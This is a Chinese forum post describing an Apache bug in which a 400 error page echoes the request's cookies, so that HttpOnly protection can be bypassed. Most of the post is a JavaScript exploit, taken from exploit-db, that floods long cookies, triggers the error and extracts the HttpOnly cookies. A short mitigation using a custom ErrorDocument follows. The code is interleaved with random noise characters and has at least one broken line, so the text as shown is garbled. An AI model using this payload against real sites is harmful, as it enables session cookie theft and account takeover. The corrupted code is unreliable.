找回密码
 立即注册
查看: 3121|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
; s; [. y# e% X$ I- }4 I7 q/ u) u, z
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
# {3 e4 e; T% m: [( G" O 6 P: r+ \, n' F8 Q$ h- L: d: {7 y) y

" ^& O3 M/ i$ m, A! j// http://www.exploit-db.com/exploits/18442/* g' c" n' |" D
function setCookies (good) {- V4 F7 Z7 v) `
// Construct string for cookie value0 L9 c) G5 h4 l; x/ t$ R% }- K- y* L
var str = "";* ~  E$ g& j. n/ F$ o
for (var i=0; i< 819; i++) {
' q! p6 d9 }" F) Q+ Ustr += "x";6 s* s, [$ F! \$ x9 h
}
, p6 _& e0 L1 x1 }$ o; ]. \// Set cookies
6 r; k/ M' P1 T: T" i3 H3 Ofor (i = 0; i < 10; i++) {
0 O/ n. f6 P! O$ j8 R// Expire evil cookie$ e, U: F1 _2 ^
if (good) {
9 Q0 B/ Z) C* I! S4 vvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";+ D0 V* D/ u: ~) c- F
}6 L/ D; {" _' N) P
// Set evil cookie/ V" J: a8 g0 X/ O0 t
else {
! M! s" \  a! L$ A* u) Avar cookie = "xss"+i+"="+str+";path=/";
" N" }5 N# E& P3 Z}) P6 v& Z+ ?5 V3 t: Q
document.cookie = cookie;0 }, Z4 k% `8 T& H8 s
}: _4 j' C' r: [0 x  g
}
3 Y* n- e6 u2 xfunction makeRequest() {$ K* z7 C  Q/ d8 _0 d9 [
setCookies();
6 G9 L" o  A0 ~1 y  n  _' y) sfunction parseCookies () {
- E. Y( W1 ?( E6 V$ M- G, a3 n  @# p0 }var cookie_dict = {};
/ L6 ?. o: Q5 g; L1 J# n$ v) R2 H7 M// Only react on 400 status% a) n, n% W( L& d5 h& P
if (xhr.readyState === 4 && xhr.status === 400) {8 m! g. d9 a" r$ L! Q
// Replace newlines and match <pre> content
9 \  W$ v1 Q2 r! k) i# M3 Uvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);1 f" C6 s- g$ n* Z7 m
if (content.length) {+ M0 j3 c. q- c# W( |- z; T* m: [" {0 y
// Remove Cookie: prefix
" x% I+ g: J% A" ycontent = content[1].replace("Cookie: ", "");
, s: X1 {1 A6 M) dvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);) ~% {, ]% g& V0 p
// Add cookies to object
( i. k4 {7 F$ ]) ?3 A$ [for (var i=0; i<cookies.length; i++) {
" T1 S, z& c4 N! T1 P8 Qvar s_c = cookies.split('=',2);" n+ |4 e) [, [; k1 Y! A
cookie_dict[s_c[0]] = s_c[1];& \3 [+ \1 f# ~# U: P5 W. ?
}( g8 L2 W1 s  `+ x) [; E2 v
}1 @# Q& C& v3 `/ |
// Unset malicious cookies" t' ]5 c2 W2 g( S/ T
setCookies(true);
! O9 b0 Y: x6 l2 n5 v+ i( R! |alert(JSON.stringify(cookie_dict));
: g. D, U2 A: l2 e6 r}5 ?/ s% `% e5 j" w9 K# \6 |0 h
}
  M) X6 \) e& j# p9 W// Make XHR request( U8 b  I/ [  U. _( K; Z3 Z
var xhr = new XMLHttpRequest();
0 S2 c+ `( K' i! F, m2 S# E1 q7 Zxhr.onreadystatechange = parseCookies;9 S% I0 r$ ]/ K+ V4 W$ q( P0 U
xhr.open("GET", "/", true);+ _- Q/ c- n9 y( |% v1 C
xhr.send(null);  U) U" B) g0 o
}+ ^: @& s% X# \9 M$ i5 M
makeRequest();5 W+ k. o6 \, ]) [. l. Z- }
! v! Y8 X6 A9 s, P
你就能看见华丽丽的400错误包含着cookie信息。
- ?, `3 Z. |9 R" W% n9 G) o& j! U5 a4 c% y- l
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
' R; E. f! l' q; ~; f
  d8 T/ N9 F% s+ C/ c修复方案:3 @- u. C6 `/ g$ `
5 S$ [: Z& _; a* p" y
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
4 x/ @. Z( e$ H6 a) j. h# U
  y+ q3 w' J/ e7 V  i0 G* sIn the event of a problem or error, Apachecan be configured to do one of four things,
9 C" s) [- v2 W, G1 j# T  c. s! p3 U& k, ^8 [1 d8 T# c5 ?
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
4 Q# x2 d4 T: G$ r; v2. output acustomized message输出一段信息
8 F5 b* a9 h9 h4 I3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ) {( C5 D7 D. O9 e  G4 _
4. redirect to an external URL to handle theproblem/error转向一个外部URL, `1 c' T! ~  }9 w  F& N" \
7 \9 _" v5 K8 z; L
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
- d: v; C7 E& w% a+ D6 C: S5 ]' W' L9 {5 ]4 g/ z/ O
Apache配置:- G$ n# a0 N- n$ f# C
0 g% _" E" W1 B
ErrorDocument400 " security test"3 x6 W- M" X. ~: |: v

. r' n1 o! U3 \: b: o" j2 q当然,升级apache到最新也可:)。
; e! I8 A6 c) Y9 ^! A0 z
8 n! a% c5 O2 k' A9 r: E8 Z参考:http://httpd.apache.org/security/vulnerabilities_22.html
) A2 U$ b4 x+ C/ E- j# l) a0 e% ^. j4 t& x" `# u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表